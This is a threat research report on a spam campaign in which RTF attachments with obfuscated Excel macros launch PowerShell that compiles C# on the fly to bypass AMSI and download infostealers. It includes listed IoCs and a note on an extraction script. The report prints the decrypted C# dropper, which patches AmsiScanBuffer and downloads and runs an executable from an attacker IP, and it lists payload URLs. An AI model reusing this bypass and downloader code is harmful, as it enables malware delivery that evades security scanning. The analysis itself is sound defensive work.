Threat Research Report: Infostealers and self-compiling droppers set loose by an unusual spam campaign

Threat Research Report: Infostealers and self-compiling droppers set loose by an unusual spam campaign

Thanks to massive botnets, attackers can generate large-scale spam campaigns on-demand and immediately use them to spread malware. While digging through some recent spam campaigns that we have detected, it came to our attention that there was some unexpected usage of the C# compiler from the command line, as reported by our sandbox analysis (shown in Figure 1). Further investigation revealed that all these samples shared a common template and belonged to the same campaign: a spam wave distributing malicious RTF documents that acted as downloaders for well-known infostealers, such as Agent Tesla or LokiBot. Although not particularly advanced, the spam campaign leveraged a few interesting social-engineering tricks and infection techniques aimed at maximizing its infection rate.

C# compiler execution

Figure 1: C# compiler execution.

By tracking the usage of this specific technique used to bypass AMSI (Anti Malware Scan Interface (more details are discussed later), we managed to link this wave to another spam campaign other researchers at Talos have previously described , and, in particular, to one campaign known to be operated by the SWEED threat actor [1]. We also noticed a few variants, as well as a specific focus on the APAC region. In this blog post, we detail all these aspects, and contribute a list of extracted network IoCs, as well as a Python script to help extract additional IoCs from other samples. All material is published in our GitHub repository at the following address:

The spam campaign

As mentioned above, this spam campaign was not particularly advanced, but the techniques used, such as invoking the C# compiler (csc.exe) within PowerShell scripts, appear interesting enough for further investigation. Figure 2 shows over one month of our daily telemetry data associated with this spam campaign since mid-October last year. The activity peaked on the 17th of October, then the campaign took a three-week break before it was back in action  again until the end of the monitoring period. It turned out that more than half of the samples were

RTF samples spawning C# compiler

Figure 2: RTF samples spawning C# compiler.

only used once during the campaign: there were 79 unique hashes out of the 138 samples. Although multiple customers were hit by this campaign, there was a clear focus on the education sector within the APAC region. The emails themselves showed an interesting disparity among the targets affected by the campaign. For example, some email subjects were quite generic, which implies that attackers used the spam campaign to target the generic public. There were some cases where email subjects were customized to specific targets or events, aiming to maximize its infection rate. The table below lists some typical examples of these subjects.

Spam email subjects disparity

Table 1: Spam email subjects disparity.

The campaign used some common attack techniques, such as data obfuscation, VBA scripting, as well as more advanced adversarial tricks, like compile-after-delivery, as shown in Table 2. More details on the techniques used by this campaign will be discussed in the following section.

Tactics and techniques used by the dropper

Table 2: Tactics and techniques used by the dropper.

The RTF dropper

To investigate the attack further, we analyzed one of the RTF samples from the campaign, as shown in the table below.

The RTF sample being analyzed.

Table 3: The RTF sample being analyzed..

First, we uploaded the sample into our sandbox to quickly reveal the possible infection chain. Figure 3 illustrates the overview of the infection chain in a controlled environment. With a quick glance at the figure, one can tell that the infection chain involves a few interesting subjects, such as powershell.exe (subjects 3 and 8) and csc.exe (subjects 5 and 11). What caught our attention are the csc.exe subjects spawned by the PowerShell processes. According to Microsoft, csc.exe is the C# command-line compiler in the Microsoft .NET Framework, which can be called via cmdlet within the Windows PowerShell environment. To gain more insights on the infection chain and to understand how the techniques were used in the campaign, we investigated the selected RTF sample through manual analysis.

RTF dropper infection chain

Figure 3: RTF dropper infection chain.

Manually running the decoy RTF document in a VM launches Microsoft Excel, which then repeatedly pops up a window (as Figure 4 shows) asking for the activation of macros. This is probably an attempt to wear down a user’s patience to maximize the activation rate.

Activate macro pop-up windows

Figure 4: Activate macro pop-up windows.

Exploring the RTF file structure with Rtfobj [2] helps understand this behavior. As Figure 5 shows, the same OLE object (MD5: 557263dda89ddf1f2692edf5eb67cba3 as highlighted) is embedded multiple times in the RTF file.

The same OLE object is embedded multiple times in the RTF file

Figure 5: The same OLE object is embedded multiple times in the RTF file.

This implies that each embedded OLE object may be related to each popup described above. It comes down to the questions of a) how the embedded objects get loaded automatically, and b) what is inside the objects. To find out, we inspected the RTF document with a basic text editor, which gives us more insights into the file content, as shown in Figure 6.

RTF document viewed from a text editor

Figure 6: RTF document viewed from a text editor.

The figure shows multiple tricks (as highlighted) used to obfuscate the document content, which is common in attacks to bypass basic static analysis tools. It is worth noting the string \objupdate in the content. This is an RTF control word that can force an update to the object before displaying [3]. In this case, it can automatically load the embedded OLE object (Excel sheet) without any user interaction. The control keyword is used for each embedded OLE object in the RTF file. This explains why we see the repeated popups when the RTF file is being loaded.  This attack trick is not new, as it was already reported in early 2018 [4].

To find out what is inside the OLE objects, let’s focus on the embedded Excel spreadsheet. This is a typical weaponized document with an embedded malicious VBA macro. The macro itself is not complicated. What makes it hard to read is just the Unicode encoding, as shown in Figure 7.

Macro code obfuscated with uncommon Unicode characters

Figure 7: Macro code obfuscated with uncommon Unicode characters.

Basically, the macro reads hex-encoded content from a cell, and applies a Caesar cipher on it to get the decrypted PowerShell script. The PowerShell script is then executed using WMI.  Figure 8 shows the decoded PowerShell snippet, reported in the Lastline sandbox analysis.

Cleaned up fragment of the PowerShell script

Figure 8: Cleaned up fragment of the PowerShell script.

As highlighted in the figure, there exist a few operations:

  • Decrypting a XORed payload
  • Calling “Add-Type -TypeDefinition” on the decrypted payload.

Although quite short, the “Add-Type -TypeDefinition” instruction is the corner-stone of the whole technique. According to MSDN documentation (as shown in Figure 9), the Add-Type cmdlet allows one to compile C# on the fly, and then use it inside the script’s namespace. This explains the apparition of the compiler executable csc.exe. It is no wonder why the Add-type cmdlet is increasingly used in PowerShell payloads.

The MSDN documentation about the Add-Type cmdlet

Figure 9: The MSDN documentation about the Add-Type cmdlet.

Figure 10 shows a synthetic example of how the technique can be instantiated in a pure PowerShell execution environment. First, we created a C# class and added it to the PowerShell environment. Once the cmdlet gets executed, the process explorer window (from sysinternals tools) clearly shows that the PowerShell process spawns csc.exe (see Figure 11), which, in turn, starts cvtres.exe. These are interesting artifacts to monitor on a system, as PowerShell payloads get increasingly common.

C# class being added in a PowerShell environment

Figure 10: C# class being added in a PowerShell environment.

Process created during the Add-Type PowerShell execution

Figure 11: CProcess created during the Add-Type PowerShell execution.

In the original sample, this technique is applied to compile the C# code displayed in Figure 8. Strings and variable names were de-obfuscated for clarity:

using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.IO;
using System.Net;
public class o7f936a {
       [DllImport("kernel32", EntryPoint = "GetProcAddress")] public static extern IntPtr w_GetProcAddress(IntPtr t5fd898, string ld2fba);
       [DllImport("kernel32", EntryPoint = "LoadLibrary")] public static extern IntPtr w_LoadLibrary(string z9922a);
       [DllImport("kernel32", EntryPoint = "VirtualProtect")] public static extern bool w_VirtualProtect(IntPtr b88518, UIntPtr cbdba, uint g6cf68, out uint k98ce);
       [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)] static extern void w_RtlMoveMemory(IntPtr y645c54, IntPtr w1ec2, int qfcdd);
       public static int g136c6d() {
       IntPtr TargetDLL = w_LoadLibrary("amsi.dll");
       if (TargetDLL == IntPtr.Zero)  {
              goto DownloadRoutine;
       IntPtr AmsiScanBufferPtr = w_GetProcAddress(TargetDLL, "AmsiScanBuffer");
       if (AmsiScanBufferPtr == IntPtr.Zero)  {
              goto DownloadRoutine;
       UIntPtr dwSize = (UIntPtr)5;
       uint Zero = 0;
       if (!w_VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))  {
              goto DownloadRoutine;
       Byte[] Patch = {
              0x31, 0xff, 0x90
       IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
       Marshal.Copy(Patch, 0, unmanagedPointer, 3);
       w_RtlMoveMemory(new IntPtr(AmsiScanBufferPtr.ToInt64() + 0x001b), unmanagedPointer, 3);
       WebClient m68aa8 = new WebClient();
       string destPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\cdf6c5" + ".exe";
       m68aa8.DownloadFile("http://51.91.175[.]221/2/6508977.exe", destPath);
       ProcessStartInfo lf35495 = new ProcessStartInfo(destPath);
       return 0;

Figure 12: Decrypted C# payload.

This C# code is creating a class with a single method that the PowerShell instance will call later on. The logic can be split into two parts:

  • Memory manipulation centered around the “AmsiScanBuffer” function from “amsi.dll”. As one may guess, this is an AMSI bypass method. The code is very similar to the implementation shared in a blogpost from October 2018 [5]. The bypass mechanism itself has already been discussed and explained in length by many other researchers, thus we will not provide details here. The main goal of the evasion technique is to prevent AMSI from stopping the downloading/dropping execution, as well as to hide the network IoCs from potential monitoring tools.
  • The download routine is straightforward and is executed right after the AMSI bypass has been set up: it downloads a remote payload into the AppData folder, and executes it. Because our sandbox does not rely on AMSI interfaces, we are still able to extract the network IoCs and monitor the download activity.

Payload evolution across different campaigns

According to our observations, a tweet back in March 2018 [6] has mentioned similar payloads. They  then appeared over a few campaigns as reported by Bromium [7], Talos [1] and Yoroi, et al. [8-9]. Table 3 shows the evolution of the payload across various campaigns since March 2018.

The payload evolution since March 2018; green checks mean that the features appeared

Table 4: The payload evolution since March 2018; green checks mean that the features appeared.

As the table shows, the payload started as a quiet resilient downloader using PowerShell in a campaign in early 2018. Figure 13 shows a typical example from this campaign. As highlighted, one can easily spot both the AMSI bypass operation and the network IoCs.

PowerShell command line from the 2018 campaign

Figure 13: CPowerShell command line from the 2018 campaign.

Then the malware evolved with new obfuscation and detection-evasion tactics. To make the AMSI bypass trick and IoCs less obvious to both humans and detection engines, subsequent campaigns (since early 2019) have changed the underlying implementation from Powershell to C#. In the latest attacks detected in November 2019, we also saw obfuscated macro code encoded with Unicode characters, which makes the encoded macro harder to read and detect. While all samples are indeed related to each other (they embed the same document object repeatedly), there is a dedicated effort to hide the final payload URL by adding several obfuscation layers, a technique known to impair automated tools and parsers.


In this report, we demonstrated how cyber-criminals have leveraged various techniques to maximize the infection rate of their campaigns. As usual, the infection process starts with a spam campaign using phishing emails with malicious attachments (RTFs in this case).  As part of the endeavor to increase the opening rate for the malicious emails, the email subjects were customized to specific targets or events (as in Table 1). Then other interesting techniques were observed (as shown in Table 2), such as repeatedly showing popups to ask  victims to enable macro execution within Microsoft Excel (as shown in Figure 4). What is more interesting is the usage of the Add-Type cmdlet in PowerShell payloads (see Figure 8), which allows one to compile C# programs. As discussed earlier, this technique provided the attackers with great flexibility to bypass AMSI-related detection and carry out further malicious downloads. Given its effectiveness, we expect this technique to become more popular in weaponized PowerShell payloads. It is worth pointing out that all Lastline customers were well protected from this threat, as our sandbox does not rely on AMSI interfaces.

In addition, we also investigated the payload evolution over various campaigns since early 2018 (as Table 3 shows), which revealed different techniques used in each campaign. We can easily draw the conclusion that there have been clear efforts to make the attack harder to be detected over the course of campaigns.


  1. “SWEED: Exposing years of Agent Tesla campaigns”,, accessed: 12/2019
  2. “Rtfobj”,, accessed: 12/2019
  3. “Rich Text Format (RTF) Version 1.5 Specification”,, accessed: 12/2019
  4. “Malicious RTF document leading to NetwiredRC and Quasar RAT”,, accessed: 12/2019
  5. “How to bypass AMSI and execute ANY malicious Powershell code”,, accessed: 12/2019
  6., accessed: 12/2019
  7. “Disabling Anti-Malware Scanning”,, accessed: 12/2019
  8., accessed: 12/2019
  9. “Commodity Malware Reborn: The AgentTesla “Total Oil” themed Campaign”,, accessed: 12/2019

Appendix: IoC extraction

We wrote a Python script to ease the extraction of network IoCs from samples similar to the one analyzed in this blogpost. The script takes the XLS document embedded in the RTF sample as input, and outputs the URL from which the payload is downloaded.

$ python -h
usage: [-h] [-v] input_file

Malspam network IOC extraction

positional arguments:
  input_file     File to decode

optional arguments:
  -h, --help     show this help message and exit
  -v, --verbose  Verbose mode

$ python ./607f0f0c2dc5ac0a1f2ca00c372f21d490d22806

SHA1 of RTF documents:


Download URLs:

http://185.102.122[[.]]2/rrtn/Spencer crypt.exe
http://curly-yoron-0282.sunnyday[.]jp/DHL AWB.exe
http://pmmovies[.]it/new/wp-content/themes/ord/Order Contract.exe
Quentin Fois

Quentin Fois

Quentin Fois is a Malware Reverse Engineer at Lastine. A casual CTF player, he also enjoys new technical challenges and deep diving into unknown mechanisms of OS internals. Prior to joining Lastline, Quentin worked at Airbus Cybersecurity as part of their Threat Intelligence team, actively tracking APT groups.
Quentin Fois
Jason Zhang

Jason Zhang

Jason Zhang is a senior threat researcher at Lastline. Prior to joining Lastline, Jason worked at Sophos and MessageLabs (then Symantec) specializing in cutting-edge threat research, and ML application in malware detection. Jason is a regular speaker at leading technical conferences including Black Hat and VB. Jason earned his Ph.D. in Signal Processing from King's College London & Cardiff University.
Jason Zhang
Stefano Ortolani

Stefano Ortolani

Stefano Ortolani is Director of Threat Intelligence at Lastline. Prior to that he was part of the research team in Kaspersky Lab in charge of fostering operations with CERTs, governments, universities, and law enforcement agencies. Before that he earned his Ph.D. in Computer Science from the VU University Amsterdam.
Stefano Ortolani